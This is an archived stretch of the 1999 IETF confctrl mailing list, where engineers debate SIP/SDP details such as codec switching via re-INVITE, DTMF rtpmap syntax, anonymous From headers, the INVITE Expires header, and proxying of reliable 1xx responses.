	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA23201
	for <confctrl@zephyr.isi.edu>; Thu, 22 Apr 1999 08:07:45 -0700 (PDT)
Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA04710
	for <confctrl@isi.edu>; Thu, 22 Apr 1999 08:07:44 -0700 (PDT)
Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id LAA18485;
	Thu, 22 Apr 1999 11:07:28 -0400 (EDT)
Received: from hplb.hpl.hp.com (kristensen-a-4.hpl.hp.com [15.144.26.238])
	by otter.hpl.hp.com (8.9.3/HP-Labs Bristol Internal Mail Hub) with ESMTP id QAA13281;
	Thu, 22 Apr 1999 16:07:41 +0100 (BST)
Message-ID: <371F3B3D.16FDD3F7@hplb.hpl.hp.com>
Date: Thu, 22 Apr 1999 16:07:41 +0100
From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: HP Labs
X-Mailer: Mozilla 4.5 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: Peter =?iso-8859-1?Q?Peld=C2n?= <Peter.Peldan@ellemtel.se>,
        confctrl 
	<confctrl@ISI.EDU>, Colin Perkins <C.Perkins@cs.ucl.ac.uk>
Subject: Re: SDP media alignment in SIP
References: <371B418C.4BC100B2@hplb.hpl.hp.com> <371BF781.EA679634@dnrc.bell-labs.com> <371C4A35.9F238F9E@hplb.hpl.hp.com> <371C858E.5AD7DCA2@dnrc.bell-labs.com> <371CAC62.8FC14118@ellemtel.se> <371CC772.1A99274B@dnrc.bell-labs.com> <371D7673.174A8681@ellemtel.se> <371EAB5C.C33912A1@dnrc.bell-labs.com> <371ECF9E.AAC46CE2@ellemtel.se> <371F1DA9.E2E5E5BA@hplb.hpl.hp.com> <371F2BBC.18435EE4@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Jonathan Rosenberg wrote:
> 
> Anders Kristensen wrote:
> >
> 
> > Not actually having integrated media into our UA yet, I would have
> > thought there was a third solution:  Given that the application KNOWS
> > about media changes (through the SIP signalling) isn't it more natural
> > for it to TELL the media handling module(s) that a stream is being
> > terminated rather than to rely on it to figure it out itself through a
> > lack of RTP packets? In this case the media module should obviously
> > refrain from generating background noice.
> 
> Generally, no. The initial SDP exchange in the INVITE/200 OK establishes
> capabilities. There is no additional signaling (normally) when a user
> changes from one codec to the other among this set. This is necessary
> for (1) adaptivity, (2) usage of things like the DTMF codec. With the
> DTMF codec, there is no time to do a "logical channel open", signaling
> the change in codecs by SIP. By the time you did this, the DTMF would be
> over. It is possible to signal long term changes through SIP, by
> re-INVITING with just the one codec. But you would still have the
> problem that there are many cases where there is no signaling for a
> codec change.

OK, I see.  Incidentally, what does a DTMF codecs rtpmap attribute look
like?

Thinking out loud here, one compromise solution which allows for
multiple audio modules and solves the RTP SN problems might be as
follows: 

  For each stream in play (pun not intended) UAs are free to utilize
  any codec within a single m= line WITHOUT additional SIP signalling.
  When one codec is substituted for another which belongs to a
  different m= line in the peers SDP description it MUST do a SIP
  re-INVITE.

The last MUST should probably be a MAY or SHOULD. The point is to give
guidance on when a UAC switching codecs should make this explicit at the
SIP level through re-INVITEs as this solves (some of) the RTP problems. 
Sending DTMF should never need to result in a SIP re-INVITE. This might
mean DTMF RTP streams has to be treated specially, if not in the spec
then in applications.

> > >
> > > It seems to be a good suggestion to require the i= field in the media
> > > descriptor whenever there are more than one media descriptor of the same
> > > media type, and alignment won't be needed?
> >
> > Agreed!  Jonathan is right to want to correlate streams in the request
> > with streams in the response, and the i= field would appear to do the
> > trick.
> 
> Not a bad suggestion. There are backwards compatibility issues, though.
> The callee has to be sure that the caller supports "splitting" in this
> fashion. One could solve this with a new rtpmap attribute. So, the
> caller's SDP has i= with a session name, and a new a=rtpmap:allowsplit
> attribute, which says whether the callee can split the media line.

I guess this updated SDP usage would eventually be detailed in an
updated SIP spec with a new SIP version number, should Rough Consensus
ever be reached. In this case an incremented SIP version number might be
sufficient indication of such support.

-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK

From confctrl-owner  Thu Apr 22 08:41:16 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA24902
	for confctrl-outgoing; Thu, 22 Apr 1999 08:41:16 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA24897
	for <confctrl@zephyr.isi.edu>; Thu, 22 Apr 1999 08:41:16 -0700 (PDT)
Received: from internal.mediatrix.com ([205.237.248.36])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA07015
	for <confctrl@ISI.EDU>; Thu, 22 Apr 1999 08:41:14 -0700 (PDT)
Received: by INTERNAL with Internet Mail Service (5.5.2232.9)
	id <H3VGZ7R1>; Thu, 22 Apr 1999 11:44:00 -0400
Message-ID: <F16674FCE856D211AC0D00E02910AE0AD94E@INTERNAL>
From: Eric Tremblay <etremblay@mediatrix.com>
To: "'Jonathan Rosenberg'" <jdrosen@dnrc.bell-labs.com>, confctrl@ISI.EDU
Subject: RE: more sip phone feature emulations...
Date: Thu, 22 Apr 1999 11:44:00 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.9)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


> -----Original Message-----
> From: Jonathan Rosenberg [mailto:jdrosen@dnrc.bell-labs.com]
> Sent: Thursday, April 22, 1999 2:26 AM
> To: confctrl@ISI.EDU
> Subject: more sip phone feature emulations...
> 

...
[deleted]
...

> 
> 
> From: "asd098yasdnasbyuy8" <sip:ojasd08yasdb>;enc=pgp;present=no
> 
> would be an encrypted version of the From field. Since its still a
> completely valid From field, intermediate proxies don't know 
> the better


Jonathan,

Maybe I'm mistaken, but the From header does not contain an
"extension-attribute" construct, thus, From only supports the parameter
"tag".  RFC2543 would have to be modified to make this a valid From header.
We might also consider doing the same for the To header as we might
eventually come up with a reason to have extra parameters there too.  

This is all true of course if it is not implicit that headers can have any
kind of extra parameters.


> even if they don't understand this encryption tag. Only the 
> terminating
> gateway would be able to decode it, and then it would also know not to
> present it based on the tag. This would also work for calls to IP
> endpoints. An endpoint receiving this, but not knowing about this
> extension (and if there is no Require header), would still do an OK
> thing, which is to present a name which makes no sense (i.e., 
> looks like
> anonymous anyway). This is reasonable behavior.
> 
> Thoughts on this? Does this fall into the "only useful for PSTN
> interworking, so do it with the rest of the ISUP parameters" model?
> 
> Thanks,
> Jonathan R.
> 
> -- 
> Jonathan D. Rosenberg                       Lucent Technologies
> Member of Technical Staff                   101 Crawfords Corner Rd.
> High Speed Networks Research                Holmdel, NJ 07733
> FAX: (732) 834-5379                         Rm. 4C-526
> EMAIL: jdrosen@bell-labs.com
> URL: http://www.cs.columbia.edu/~jdrosen
> 

Eric Tremblay, ing. stag.
------------------------------
Mediatrix Telecom
email: etremblay@mediatrix.com
Tel: +1(819)829-8749 ext. 238
Web: www.mediatrix.com 


From confctrl-owner  Thu Apr 22 08:46:34 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA25117
	for confctrl-outgoing; Thu, 22 Apr 1999 08:46:34 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA25111
	for <confctrl@zephyr.isi.edu>; Thu, 22 Apr 1999 08:46:33 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA07407
	for <confctrl@ISI.EDU>; Thu, 22 Apr 1999 08:46:32 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id LAA29974;
	Thu, 22 Apr 1999 11:46:31 -0400 (EDT)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id LAA29158;
	Thu, 22 Apr 1999 11:46:30 -0400 (EDT)
Message-ID: <371F4456.63245738@cs.columbia.edu>
Date: Thu, 22 Apr 1999 11:46:30 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: John Hearty <John.H.Hearty@wcom.com>
CC: confctrl@ISI.EDU
Subject: Re: Clarification of Expires header in an Invite
References: <19990422141843.FBDB8403@localHost>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

John Hearty wrote:
> 
>  I need clarification of the Expires header in the Invite method.
> The RFC gives examples that it can limit the validity of an invitation
> if a client wants to limit the duration of a search or a conference
> invitation.  I take this to mean only the time in which the client
> is waiting for a final response, not the duration of the session.
> Is this correct?  If this is the case, a clarified description would
> be appreciated explicitly stating the client is waiting for a _final
> response_.  One scenario I plan on using this for is to give the callee
> a clue how long the caller will ring the device before giving up and
> moving on to another address in a serial search.

That's the idea. I've added the following wording to the spec (for the
next revision):


Note that the expiration time does {\em not} affect the duration of the 
actual session that may result from the invitation.  Session description
protocols may offer the ability to express time limits on the session
duration, however.

(SDP does provide the latter functionality.)

> 
> John Hearty
> MCI Worldcom

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Thu Apr 22 08:50:19 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA25338
	for confctrl-outgoing; Thu, 22 Apr 1999 08:50:19 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA25332
	for <confctrl@zephyr.isi.edu>; Thu, 22 Apr 1999 08:50:18 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA07675
	for <confctrl@ISI.EDU>; Thu, 22 Apr 1999 08:50:17 -0700 (PDT)
Received: from mr4.exu.ericsson.se ([138.85.11.56])
	by gwu.ericy.com (8.8.8/8.8.8) with ESMTP id KAA17168;
	Thu, 22 Apr 1999 10:52:01 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id KAA02762;
	Thu, 22 Apr 1999 10:49:46 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id KAA05583; Thu, 22 Apr 1999 10:49:45 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id KAA04170;
	Thu, 22 Apr 1999 10:49:42 -0500 (CDT)
Message-Id: <199904221549.KAA04170@b04a24.exu.ericsson.se>
Subject: Re: more sip phone feature emulations...
To: jdrosen@dnrc.bell-labs.com (Jonathan Rosenberg)
Date: Thu, 22 Apr 1999 10:49:42 -0500 (CDT)
Cc: confctrl@ISI.EDU
In-Reply-To: <371EC10F.78C1E01C@dnrc.bell-labs.com> from "Jonathan Rosenberg" at Apr 22, 99 02:26:23 am
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>Thoughts on this? Does this fall into the "only useful for PSTN
>interworking, so do it with the rest of the ISUP parameters" model?

As far as I can tell, it does. 

Scenario 1: PSTN to PSTN
------------------------
The ingress gateway, based on the fact that a "do not display"
indication is present in the ISUP, would place whatever unique 
string in the From: field it wants; e.g.:

From: "Anonymous" <sip:anon1F728A6@bell-tel.net>

...and place the A-number in the ISUP information. The egress gateway, 
being a trusted node, could be expected to honor the ISUP "do not 
display" indication.

Scenario 2: PSTN to SIP
-----------------------
The ingress gateway would behave as above. The SIP client would not
*normally* have the capability to decode the ISUP payload, and the
information in the "From" header would not disclose private information.
I stress "normally," since there is the obvious security risk that
someone with enough knowledge of their local variant of ISUP could
hack their client to parse the fields out. This is a generic security
problem with ISUP transmission over IP, and should probably be handled
as part of the application/isup spec. (Static shared public keys
exchanged as part of interconnect agreements? Certificates?)

Scenario 3: SIP to SIP
----------------------
For SIP-initated calls to be anonymous, they need to be routed through
a trusted signalling and media proxy (since the user's origin can be
determined by the address of the media stream). This behavior is
hinted at by section 6.22 (on the "Hide" header) of the SIP spec.

Scenario 4: SIP to PSTN
-----------------------
Using the same mechanisms as an anonymous SIP to SIP call will be more
than sufficient in this case.

--
Adam Roach                 |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
Ericsson Inc.              | Fax: +1 972 669 0154 | Richardson, TX 75081
adam.roach@ericsson.com    |                  <*> | USA

From confctrl-owner  Thu Apr 22 09:08:08 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA26296
	for confctrl-outgoing; Thu, 22 Apr 1999 09:08:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA26291
	for <confctrl@zephyr.isi.edu>; Thu, 22 Apr 1999 09:08:07 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id JAA09034
	for <confctrl@isi.edu>; Thu, 22 Apr 1999 09:08:04 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Thu Apr 22 12:06:01 EDT 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id MAA28470;
	Thu, 22 Apr 1999 12:05:58 -0400 (EDT)
Message-ID: <371F4855.97229AE1@dnrc.bell-labs.com>
Date: Thu, 22 Apr 1999 12:03:33 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: John Hearty <John.H.Hearty@wcom.com>
CC: confctrl@ISI.EDU
Subject: Re: Clarification of Expires header in an Invite
References: <19990422141843.FBDB8403@localHost>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

John Hearty wrote:
> 
>  I need clarification of the Expires header in the Invite method.
> The RFC gives examples that it can limit the validity of an invitation
> if a client wants to limit the duration of a search or a conference
> invitation.  I take this to mean only the time in which the client
> is waiting for a final response, not the duration of the session.

Yes. Session duration is indicated in SDP, if you want.

> Is this correct?  If this is the case, a clarified description would
> be appreciated explicitly stating the client is waiting for a _final
> response_.  One scenario I plan on using this for is to give the callee
> a clue how long the caller will ring the device before giving up and
> moving on to another address in a serial search.

That is the intended application. The UAS wouldn't continue alerting
past the Expires time. However, the spec doesn't *mandate* that the
called party not send a final response after the Expires time ends.
Thus, its really up to the UAC to decide how long its going to wait
around. Nothing prevents if from waiting more or less than this time.
Expires is really more of a hint.

-Jonathan R. 

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Apr 22 09:32:23 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA27588
	for confctrl-outgoing; Thu, 22 Apr 1999 09:32:23 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA27582
	for <confctrl@zephyr.isi.edu>; Thu, 22 Apr 1999 09:32:21 -0700 (PDT)
Received: from ndcrelay2.mcit.com (ndcrelay2.mcit.com [166.37.172.6])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA11665
	for <confctrl@ISI.EDU>; Thu, 22 Apr 1999 09:32:20 -0700 (PDT)
Received: from omta3.mcit.com (omta3.mcit.com [166.37.204.5])
          by ndcrelay2.mcit.com (8.8.7/) with ESMTP
	  id QAA15429 for <confctrl@ISI.EDU>; Thu, 22 Apr 1999 16:28:30 GMT
Received: from localHost ([166.35.151.149]) by omta3.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19990422163155.WESW20027@localHost> for <confctrl@ISI.EDU>;
          Thu, 22 Apr 1999 11:31:55 -0500
Date: Thu, 22 Apr 1999 11:30 -0500 (CDT)
From: John Hearty <John.H.Hearty@wcom.com>
X-Mailer: MailRoom for Internet v2.3g (www.SierraSol.com)
To: confctrl@ISI.EDU
Subject: Re: Proxies and draft-ietf-mmusic-sip-100rel-00
Message-Id: <19990422163155.WESW20027@localHost>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


 Agreed.  When proxies see the new headers, they MUST proxy the response.
Unfortunately, this is a base requirement that can't really be noted
in an extension document, or operators will need to make sure their
proxies conform to this extension.  Backward compatibility is a problem
with this extension requirement.

John Hearty
MCI Worldcom



Date: Thu, 22 Apr 1999 09:52 -0500 (CDT)
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
To: confctrl@ISI.EDU
Sender: owner-confctrl@ISI.EDU
Subject: Proxies and draft-ietf-mmusic-sip-100rel-00


The current draft for 1xx message reliablity specifies that
reliablity is hop-by-hop, not end-to-end, *and* that proxies
are still free to drop provisional messages (i.e. not proxy
them upstream) after acknowledging them.

As I understand it, part of the usefulness of reliable 1xx
messages is the ability to (1) trigger certain required
behavior for gateways into non-SIP networks, and (2) transmit
additional information (e.g. ISUP payloads).

If intervening proxies have the option of discarding 1xx messages
at their discression, the concept of 1xx "reliablity" seems
defeated.

I propose that the draft should be revised so that that, when 
reliable 1xx messages transmission is required, 1xx messages 
must be proxied.

-- 
Adam Roach                 |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
Ericsson Inc.              | Fax: +1 972 669 0154 | Richardson, TX 75081
adam.roach@ericsson.com    |                  <*> | USA

From confctrl-owner  Thu Apr 22 09:32:26 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA27596
	for confctrl-outgoing; Thu, 22 Apr 1999 09:32:26 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA27591
	for <confctrl@zephyr.isi.edu>; Thu, 22 Apr 1999 09:32:26 -0700 (PDT)
Received: from ndcrelay.mcit.com (ndcrelay.mcit.com [166.37.172.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA11669
	for <confctrl@isi.edu>; Thu, 22 Apr 1999 09:32:25 -0700 (PDT)
Received: from omta3.mcit.com (omta3.mcit.com [166.37.204.5])
          by ndcrelay.mcit.com (8.8.7/) with ESMTP
	  id QAA02277; Thu, 22 Apr 1999 16:31:20 GMT
Received: from localHost ([166.35.151.149]) by omta3.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19990422163150.WESH20027@localHost>;
          Thu, 22 Apr 1999 11:31:50 -0500
Date: Thu, 22 Apr 1999 11:21 -0500 (CDT)
From: John Hearty <John.H.Hearty@wcom.com>
X-Mailer: MailRoom for Internet v2.3g (www.SierraSol.com)
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: confctrl@ISI.EDU
Subject: Re: Clarification of Expires header in an Invite
Message-Id: <19990422163150.WESH20027@localHost>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>That is the intended application. The UAS wouldn't continue alerting
>past the Expires time. However, the spec doesn't *mandate* that the
>called party not send a final response after the Expires time ends.
>Thus, its really up to the UAC to decide how long its going to wait
>around. Nothing prevents if from waiting more or less than this time.
>Expires is really more of a hint.

Thanks.  That is what I thought and they way I was intending to use it.
We don't even have to send it, but wanted to provide the hint, and
would send a BYE upon timeout in the UAC.

John Hearty
MCI Worldcom


Date: Thu, 22 Apr 1999 11:03 -0500 (CDT)
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
To: John Hearty <John.H.Hearty@wcom.com>
CC: confctrl@isi.edu
Subject: Re: Clarification of Expires header in an Invite

John Hearty wrote:
> 
>  I need clarification of the Expires header in the Invite method.
> The RFC gives examples that it can limit the validity of an invitation
> if a client wants to limit the duration of a search or a conference
> invitation.  I take this to mean only the time in which the client
> is waiting for a final response, not the duration of the session.

Yes. Session duration is indicated in SDP, if you want.

> Is this correct?  If this is the case, a clarified description would
> be appreciated explicitly stating the client is waiting for a _final
> response_.  One scenario I plan on using this for is to give the callee
> a clue how long the caller will ring the device before giving up and
> moving on to another address in a serial search.

That is the intended application. The UAS wouldn't continue alerting
past the Expires time. However, the spec doesn't *mandate* that the
called party not send a final response after the Expires time ends.
Thus, its really up to the UAC to decide how long its going to wait
around. Nothing prevents if from waiting more or less than this time.
Expires is really more of a hint.

-Jonathan R. 

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Apr 22 12:21:21 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA06668
	for confctrl-outgoing; Thu, 22 Apr 1999 12:21:21 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA06663
	for <confctrl@zephyr.isi.edu>; Thu, 22 Apr 1999 12:21:20 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA29787
	for <confctrl@ISI.EDU>; Thu, 22 Apr 1999 12:21:19 -0700 (PDT)
Received: from mr3.exu.ericsson.se ([138.85.11.55])
	by gwu.ericy.com (8.8.8/8.8.8) with ESMTP id OAA01431;
	Thu, 22 Apr 1999 14:23:03 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id OAA20134;
	Thu, 22 Apr 1999 14:20:43 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id OAA01219; Thu, 22 Apr 1999 14:20:42 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id OAA06755;
	Thu, 22 Apr 1999 14:20:39 -0500 (CDT)
Message-Id: <199904221920.OAA06755@b04a24.exu.ericsson.se>
Subject: Re: Proxies and draft-ietf-mmusic-sip-100rel-00
To: John.H.Hearty@wcom.com (John Hearty)
Date: Thu, 22 Apr 1999 14:20:38 -0500 (CDT)
Cc: confctrl@ISI.EDU
In-Reply-To: <19990422163155.WESW20027@localHost> from "John Hearty" at Apr 22, 99 11:30:00 am
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


The current draft already puts requirements on stateful proxies,
including fundimentally altering their behavior. (Stateless proxies
already have to proxy 1xx replies). The addition of a requirement
to proxy all 1xx replies upstream is minor compared to the changes
it already implies in proxies.

On the topic of backwards compatibility, I don't see any issues. Granted,
you can't use stateful proxies which are unaware of the reliable 1xx
extension mechanism in a network which requires this extension, but
this is well addressed in the current draft. Proxies which are aware
of the extension, and always proxy 1xx responses (regardless of
whether the reliable 1xx extensions are required) don't even break
the protocol, because dropping 1xx messages is done at the proxies'
discression in the SIP spec.

> Agreed.  When proxies see the new headers, they MUST proxy the response.
>Unfortunately, this is a base requirement that can't really be noted
>in an extension document, or operators will need to make sure their
>proxies conform to this extension.  Backward compatibility is a problem
>with this extension requirement.
>
>John Hearty
>MCI Worldcom
>
>
>
>Date: Thu, 22 Apr 1999 09:52 -0500 (CDT)
>From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
>To: confctrl@ISI.EDU
>Sender: owner-confctrl@ISI.EDU
>Subject: Proxies and draft-ietf-mmusic-sip-100rel-00
>
>
>The current draft for 1xx message reliablity specifies that
>reliablity is hop-by-hop, not end-to-end, *and* that proxies
>are still free to drop provisional messages (i.e. not proxy
>them upstream) after acknowledging them.
>
>As I understand it, part of the usefulness of reliable 1xx
>messages is the ability to (1) trigger certain required
>behavior for gateways into non-SIP networks, and (2) transmit
>additional information (e.g. ISUP payloads).
>
>If intervening proxies have the option of discarding 1xx messages
>at their discression, the concept of 1xx "reliablity" seems
>defeated.
>
>I propose that the draft should be revised so that that, when 
>reliable 1xx messages transmission is required, 1xx messages 
>must be proxied.
>
>-- 
>Adam Roach                 |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
>Ericsson Inc.              | Fax: +1 972 669 0154 | Richardson, TX 75081
>adam.roach@ericsson.com    |                  <*> | USA
>


-- 
Adam Roach -- adam.roach@ericsson.com -- Standard Disclaimers, etc. <*>
  RSA in one line of DC: {k}=key; {e}=exponent; {m}=message, all in hex.
  16dio{m}sM{e}sN0[lN*1{k}[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsjxp
  Exporting the above line is a violation of U.S. weapons trafficking laws, 
  subject to fines and/or imprisonment, as prescribed by 22 U.S.C. 2778(c)
  ******  Write your congresspeople and tell them you SUPPORT HR 695  ******

From confctrl-owner  Thu Apr 22 20:42:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA26451
	for confctrl-outgoing; Thu, 22 Apr 1999 20:42:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA26446
	for <confctrl@zephyr.isi.edu>; Thu, 22 Apr 1999 20:42:04 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id UAA23000
	for <confctrl@isi.edu>; Thu, 22 Apr 1999 20:42:02 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Thu Apr 22 23:41:40 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.149])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id XAA04932;
	Thu, 22 Apr 1999 23:41:38 -0400 (EDT)
Message-ID: <371FEBF7.8748312C@dnrc.bell-labs.com>
Date: Thu, 22 Apr 1999 23:41:43 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Anders Kristensen <ak@hplb.hpl.hp.com>
CC: "Peter PeldÂn" <Peter.Peldan@ellemtel.se>, confctrl <confctrl@ISI.EDU>,
        Colin Perkins <C.Perkins@cs.ucl.ac.uk>
Subject: Re: SDP media alignment in SIP
References: <371B418C.4BC100B2@hplb.hpl.hp.com> <371BF781.EA679634@dnrc.bell-labs.com> <371C4A35.9F238F9E@hplb.hpl.hp.com> <371C858E.5AD7DCA2@dnrc.bell-labs.com> <371CAC62.8FC14118@ellemtel.se> <371CC772.1A99274B@dnrc.bell-labs.com> <371D7673.174A8681@ellemtel.se> <371EAB5C.C33912A1@dnrc.bell-labs.com> <371ECF9E.AAC46CE2@ellemtel.se> <371F1DA9.E2E5E5BA@hplb.hpl.hp.com> <371F2BBC.18435EE4@dnrc.bell-labs.com> <371F3B3D.16FDD3F7@hplb.hpl.hp.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Anders Kristensen wrote:
> 
> OK, I see.  Incidentally, what does a DTMF codecs rtpmap attribute look
> like?

I don't think it says anything about it in the current draft. Probably
something like:

m=audio 876 RTP/AVP 76
a=rtpmap:76 dtmf


> 
> Thinking out loud here, one compromise solution which allows for
> multiple audio modules and solves the RTP SN problems might be as
> follows:
> 
>   For each stream in play (pun not intended) UAs are free to utilize
>   any codec within a single m= line WITHOUT additional SIP signalling.
>   When one codec is substituted for another which belongs to a
>   different m= line in the peers SDP description it MUST do a SIP
>   re-INVITE.
> 
